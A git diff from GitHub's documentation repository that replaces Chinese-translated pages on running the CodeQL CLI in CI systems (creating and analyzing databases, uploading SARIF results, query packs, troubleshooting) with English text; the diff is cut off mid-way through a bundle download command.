                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.| +| `--language` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). {% ifversion fpt or ghes > 3.1 or ghae or ghec %}When used with `--db-cluster`, the option accepts a comma-separated list, or can be specified more than once.{% endif %} +| `--command` | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from `--source-root`. Not needed for Python and JavaScript/TypeScript analysis. | {% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--db-cluster` | | Optional. Use in multi-language codebases to generate one database for each language specified by `--language`. +| `--no-run-unnecessary-builds` | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). {% endif %} +| `--source-root` | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. | -更多信息请参阅 {% data variables.product.prodname_codeql_cli %} 文档中的[创建 {% data variables.product.prodname_codeql %} 数据库](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)。 +For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}单一语言示例{% else %}基本示例{% endif %} +### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Single language example{% else %}Basic example{% endif %} -此示例在 `/checkouts/example-repo` 为检出的仓库创建 {% data variables.product.prodname_codeql %} 数据库。 它使用 JavaScript 提取器在仓库中创建 JavaScript 和 TypeScript 代码的分层表示。 生成的数据库存储在 `/codeql-dbs/example-repo` 中。 +This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`. ``` $ codeql database create /codeql-dbs/example-repo --language=javascript \ @@ -228,16 +104,16 @@ $ codeql database create /codeql-dbs/example-repo --language=javascript \ ``` {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -### 多语言示例 +### Multiple language example -此示例在 `/checkouts/example-repo` 为检出的仓库创建两个 {% data variables.product.prodname_codeql %} 数据库。 它使用： +This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses: -- `--db-cluster` 以请求分析多种语言。 -- `--langue` 以指定为哪种语言创建数据库。 -- `--command` 以向工具告知代码库的构建命令，这里是 `make`。 -- `--no-run-unnecessary-build` 以向工具告知对不需要的语言跳过构建命令（如 Python）。 +- `--db-cluster` to request analysis of more than one language. +- `--language` to specify which languages to create databases for. +- `--command` to tell the tool the build command for the codebase, here `make`. +- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python). -生成的数据库存储在 `/codeql-dbs/example-repo-multi` 的 `python` 和 `cpp` 子目录中。 +The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`. ``` $ codeql database create /codeql-dbs/example-repo-multi \ @@ -256,11 +132,11 @@ Running build command: [make] [build-stdout] Finalizing databases at /codeql-dbs/example-repo-multi. Successfully created databases at /codeql-dbs/example-repo-multi. -美元 +$ ``` {% endif %} -## 分析 {% data variables.product.prodname_codeql %} 数据库 +## Analyzing a {% data variables.product.prodname_codeql %} database 1. Create a {% data variables.product.prodname_codeql %} database (see above).{% if codeql-packs %} 2. Optional, run `codeql pack download` to download any {% data variables.product.prodname_codeql %} packs (beta) that you want to run during analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} query packs](#downloading-and-using-codeql-query-packs)" below. @@ -277,7 +153,7 @@ Successfully created databases at /codeql-dbs/example-repo-multi. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% note %} -**注意：** 如果您分析了一个以上的 {% data variables.product.prodname_codeql %} 数据库的单项提交，您必须为此命令生成的每组结果指定 SARIF 类别。 当您上传结果到 {% data variables.product.product_name %} 时，{% data variables.product.prodname_code_scanning %} 使用此类别来分别存储每种语言的结果。 如果你忘记了这样做，每次上传都会覆盖以前的结果。 +**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. ```shell codeql database analyze <database> --format=<format> \ @@ -285,137 +161,26 @@ codeql database analyze <database> --format=<format> \ {% if codeql-packs %}<packs,queries>{% else %}<queries>{% endif %} ``` {% endnote %} - {% endif %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - 选项 - - 必选 - - 用法 -
                    - <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定包含要分析的 {% data variables.product.prodname_codeql %} 数据库的目录路径。 -
                    - <packs,queries> - - - Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. 要查看 {% data variables.product.prodname_codeql_cli %} 捆绑包中包含的其他查询套件，请查看 /<extraction-root>/codeql/qlpacks/codeql-<language>/codeql-suites。 有关创建您自己的查询套件的信息，请参阅 {% data variables.product.prodname_codeql_cli %} 文档中的创建 CodeQL 查询套件。 -
                    - `--format` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定命令生成的结果文件的格式。 要上传到 {% data variables.product.company_short %}，这应该是：{% ifversion fpt or ghae or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %}。 更多信息请参阅“{% data variables.product.prodname_code_scanning %} 的 SARIF 支持”。 -
                    - `--output` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定保存 SARIF 结果文件的位置。{% ifversion fpt or ghes > 3.1 or ghae or ghec %} -
                    - --sarif-category - - {% octicon "question" aria-label="Required with multiple results sets" %} - - 可选用于单个数据库分析。 当您分析多个数据库在仓库中的单个提交时，需要定义语言。 指定要在用于此分析的 SARIF 结果文件中包含的类别。 A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% if codeql-packs %} -
                    - <packs> - - - 可选. Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "Downloading and using {% data variables.product.prodname_codeql %} packs."{% endif %} -
                    - `--threads` - - - 可选. 如果您想使用多个线程来运行查询，请使用。 默认值为 1 。 您可以指定更多的线程来加速查询执行。 要将线程数设置为逻辑处理器的数量，指定 0。 -
                    - `--verbose` - - - 可选. 用于从数据库创建过程获取有关分析过程的更详细的信息{% ifversion fpt or ghes > 3.1 or ghae or ghec %} 和诊断数据{% endif %}。 -
                    -更多信息请参阅 {% data variables.product.prodname_codeql_cli %} 文档中的[使用 {% data variables.product.prodname_codeql_cli %} 分析数据库](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)。 +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. | +| `` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `//codeql/qlpacks/codeql-/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +| `--format` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." +| `--output` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--sarif-category` | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% ifversion fpt or ghes > 3.3 or ghae or ghec %} +| `--sarif-add-query-help` | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% if codeql-packs %} +| `` | | Optional. Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."{% endif %} +| `--threads` | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`. +| `--verbose` | | Optional. Use to get more detailed information about the analysis process{% ifversion fpt or ghes > 3.1 or ghae or ghec %} and diagnostic data from the database creation process{% endif %}. -### 基本示例 -此示例分析存储在 `/codeql-dbs/example-repo` 的 {% data variables.product.prodname_codeql %} 数据库并将结果保存为 SARIF 文件： `/temple/example-repo-js.sarif`。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}它使用 `--sarif-category` 在 SARIF 文件中包括额外的信息，以将结果标识为 JavaScript。 当您有多个 {% data variables.product.prodname_codeql %} 数据库来分析仓库中的单个提交时，这一点至关重要。{% endif %} +For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Basic example + +This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.{% endif %} ``` $ codeql database analyze /codeql-dbs/example-repo \ @@ -430,16 +195,16 @@ $ codeql database analyze /codeql-dbs/example-repo \ > Interpreting results. ``` -## 上传结果到 {% data variables.product.product_name %} +## Uploading results to {% data variables.product.product_name %} {% data reusables.code-scanning.upload-sarif-alert-limit %} -在将结果上传到 {% data variables.product.product_name %} 之前，您必须确定将之前创建的 {% data variables.product.prodname_github_app %} 或个人访问令牌传递给 {% data variables.product.prodname_codeql_cli %} 的最佳方式（请参阅[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)）。 我们建议您查看 CI 系统关于安全使用密钥存储库的指南。 {% data variables.product.prodname_codeql_cli %} 支持： +Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or personal access token you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports: -- 使用 `--github-auth-stdin` 选项通过标准输入传递令牌到 CLI（推荐）。 -- 在环境变量 `GITHUB_TOKEN` 中保存密钥并运行不包含 `--github-auth-stdin` 选项的 CLI。 +- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended). +- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option. -当您决定为您的 CI 服务器提供最安全、最可靠的方法时，请在 SARIF 结果文件上运行 `codeql github upload-results`，并包括 `- github-auth-stdin`，除非令牌在环境变量 `GITHUB_TOKEN` 中可用。 +When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`. ```shell echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=<repository-name> \ @@ -447,110 +212,20 @@ $ codeql database analyze /codeql-dbs/example-repo \ {% ifversion ghes > 3.0 or ghae %}--github-url=<URL> {% endif %}--github-auth-stdin ``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                    - 选项 - - 必选 - - 用法 -
                    - `--repository` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定要上传数据到其中的仓库的 OWNER/NAME。 所有者必须是拥有 {% data variables.product.prodname_GH_advanced_security %} 许可证的企业内的组织，而 {% data variables.product.prodname_GH_advanced_security %} 必须为仓库启用{% ifversion fpt or ghec %}， 除非仓库是公共的{% endif %}。 更多信息请参阅“管理仓库的安全和分析设置”。 -
                    - `--ref` 指定拉取请求 - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定您检出并分析的 ref，以便结果可以匹配正确的代码。 对于分支，使用 refs/heads/BRANCH-NAME；对于拉取请求的头部提交，使用 refs/pulls/NUMBER/head；或者对于拉取请求的 {% data variables.product.prodname_dotcom %} 生成的合并提交，使用 refs/pulls/NUMBER/merge。 -
                    - `--commit` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定所分析的提交的完整 SHA。 -
                    - `--sarif` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定要加载的 SARIF 文件。{% ifversion ghes > 3.0 or ghae %} -
                    - `--github-url` - - {% octicon "check-circle-fill" aria-label="Required" %} - - 指定 {% data variables.product.product_name %} 的 URL。{% endif %} -
                    - `--github-auth-stdin` - - - 可选. 用于通过标准输入传递为向 {% data variables.product.company_short %} 的 REST API 验证而创建的 CLI 或 {% data variables.product.prodname_github_app %} 个人访问令牌。 如果命令可以使用此令牌设置的 GITHUB_TOKEN 环境变量，这是不必要的。 -
                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `--repository` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `--ref` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pulls/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pulls/NUMBER/merge`. +| `--commit` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed. +| `--sarif` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes > 3.0 or ghae %} +| `--github-url` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %} +| `--github-auth-stdin` | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -更多信息请参阅 {% data variables.product.prodname_codeql_cli %} 文档中的 [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/)。 +For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### 基本示例 +### Basic example -此示例将结果从 SARIF 文件 `temp/example-repo-js.sarif` 上传到仓库 `my-org/example-repo`。 它告诉 {% data variables.product.prodname_code_scanning %} API，结果用于 `main` 分支上的提交 `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718`。 +This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch. ``` $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ @@ -559,7 +234,7 @@ $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example- {% endif %}--github-auth-stdin ``` -除非上传未成功，否则此命令不会输出。 上传完成并开始数据处理时，命令提示返回。 在较小的代码库中，您应该能够在稍后的 {% data variables.product.product_name %} 中探索 {% data variables.product.prodname_code_scanning %} 警告。 您可以直接在拉取请求或分支的 **Security（安全性）**选项卡中查看警报，具体取决于检出的代码。 更多信息请参阅“[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”和“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 +There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." {% if codeql-packs %} ## Downloading and using {% data variables.product.prodname_codeql %} query packs @@ -574,52 +249,14 @@ Before you can use a {% data variables.product.prodname_codeql %} pack to analyz codeql pack download <scope/name@version>,... ``` - - - - - - - - - - - - - - - - - - - - - - - - -
                    - 选项 - - 必选 - - 用法 -
                    - `` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. -
                    - `--github-auth-stdin` - - - 可选. Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. 如果命令可以使用此令牌设置的 GITHUB_TOKEN 环境变量，这是不必要的。 -
                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. | +| `--github-auth-stdin` | | Optional. Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -### 基本示例 +### Basic example -This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. +This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. ``` $ echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download octo-org/security-queries @@ -642,9 +279,9 @@ $ codeql database analyze /codeql-dbs/example-repo octo-org/security-queries \ {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 用于 {% data variables.product.prodname_codeql %} 分析的示例 CI 配置 +## Example CI configuration for {% data variables.product.prodname_codeql %} analysis -这是一系列命令的示例，您可以使用两种支持的语言分析代码库，然后上传结果到 {% data variables.product.product_name %}。 +This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}. ```shell # Create CodeQL databases for Java and Python in the 'codeql-dbs' directory @@ -678,21 +315,21 @@ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-re --sarif=python-results.sarif --github-auth-stdin ``` -## CI 系统中的 {% data variables.product.prodname_codeql_cli %} 疑难解答 +## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system -### 查看日志和诊断信息 +### Viewing log and diagnostic information -当您使用 {% data variables.product.prodname_code_scanning %} 查询套件分析 {% data variables.product.prodname_codeql %} 数据库时，除了生成有关警报的详细信息外，CLI 还报告数据库生成步骤和汇总指标的诊断数据。 对于警报很少的存储库，您可能会发现此信息可用于确定代码中是否真的存在很少的问题，或者生成 {% data variables.product.prodname_codeql %} 数据库时是否出错。 有关 `codeql database analyze` 的更详细输出，请使用 `--verbose` 选项。 +When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option. -有关可用的诊断信息类型的更多信息，请参阅“[查看 {% data variables.product.prodname_code_scanning %} 日志](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)”。 +For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)". -### {% data variables.product.prodname_code_scanning_capc %} 只显示被分析语言之一的分析结果 +### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages -默认情况下， {% data variables.product.prodname_code_scanning %} 预计每个仓库需要一个SARIF 结果文件。 因此，当您上传第二个 SARIF 结果文件进行提交时，将被视为原始数据集的替换。 +By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data. -如果您想将多组结果上传到 {% data variables.product.prodname_code_scanning %} API 以在存储库中提交，则必须将每组结果识别为唯一的一组结果。 对于您创建多个 {% data variables.product.prodname_codeql %} 数据库以分析每个提交的仓库， 使用 `--sarif-categories` 为每个你生成的 SARIF 文件指定一个语言或其他独特的类别。 +If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository. -### 如果您的 CI 系统无法触发 {% data variables.product.prodname_codeql_cli %}，则提供替代方案 +### Alternative if your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} @@ -710,7 +347,7 @@ If your CI system cannot trigger the {% data variables.product.prodname_codeql_c {% endif %} -## 延伸阅读 +## Further reading -- [创建 CodeQL 数据库](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) -- [使用 CodeQL CLI 分析数据库](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) +- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) +- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md index 7fb47e1c48..6c8749f755 100644 --- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md +++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: 在 CI 系统中安装 CodeQL CLI -shortTitle: 安装 CodeQL CLI -intro: '您可以安装 {% data variables.product.prodname_codeql_cli %} 并用它在第三方持续集成系统中执行 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}。' +title: Installing CodeQL CLI in your CI system +shortTitle: Install CodeQL CLI +intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 versions: @@ -24,53 +24,52 @@ redirect_from: - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## 关于将 {% data variables.product.prodname_codeql_cli %} 用于 {% data variables.product.prodname_code_scanning %} +## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} -您可以使用 {% data variables.product.prodname_codeql_cli %} 在第三方持续集成 (CI) 系统中处理的代码上运行 {% data variables.product.prodname_code_scanning %}。 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." +You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% data reusables.code-scanning.what-is-codeql-cli %} -您也可以使用 {% data variables.product.prodname_actions %} 在 {% data variables.product.product_name %} 中运行 {% data variables.product.prodname_code_scanning %}。 有关使用操作进行 {% data variables.product.prodname_code_scanning %} 的信息，请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 有关 CI 系统选项的概述，请参阅“[关于 CI 系统中的 CodeQL {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)”。 +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". {% data reusables.code-scanning.licensing-note %} -## 下载 {% data variables.product.prodname_codeql_cli %} +## Downloading the {% data variables.product.prodname_codeql_cli %} -您应该从 https://github.com/github/codeql-action/releases 下载 {% data variables.product.prodname_codeql %} 包。 包中包含： +You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains: -- {% data variables.product.prodname_codeql_cli %} 产品 -- 来自 https://github.com/github/codeql 的查询和库的兼容版本 -- 包中包含的所有查询的预编译版本 +- {% data variables.product.prodname_codeql_cli %} product +- A compatible version of the queries and libraries from https://github.com/github/codeql +- Precompiled versions of all the queries included in the bundle -您应该始终使用 {% data variables.product.prodname_codeql %} 包，因为这样可以确保兼容性，并且比单独下载 {% data variables.product.prodname_codeql_cli %} 和检出 {% data variables.product.prodname_codeql %} 查询提供更好的性能。 如果您只在一个特定平台上运行 CLI，请下载相应的 `codeql-bundle-PLATFORM.tar.gz` 文件。 或者，您可以下载 `codeql-bundle.tar.gz`，其中包含所有支持平台的 CLI 。 +You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms. {% data reusables.code-scanning.beta-codeql-packs-cli %} -## 在 CI 系统中设置 {% data variables.product.prodname_codeql_cli %} +## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system -您需要将 {% data variables.product.prodname_codeql_cli %} 包的全部内容提供给要运行 CodeQL {% data variables.product.prodname_code_scanning %} 分析的每个 CI 服务器。 例如，您可以配置每台服务器从中央内部位置复制包并提取它。 或者，您可以使用 REST API 直接从 {% data variables.product.prodname_dotcom %} 获取包，以确保您从查询的最新改进中受益。 {% data variables.product.prodname_codeql_cli %} 的更新每 2-3 周发布一次。 例如： +You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example: ```shell $ wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif 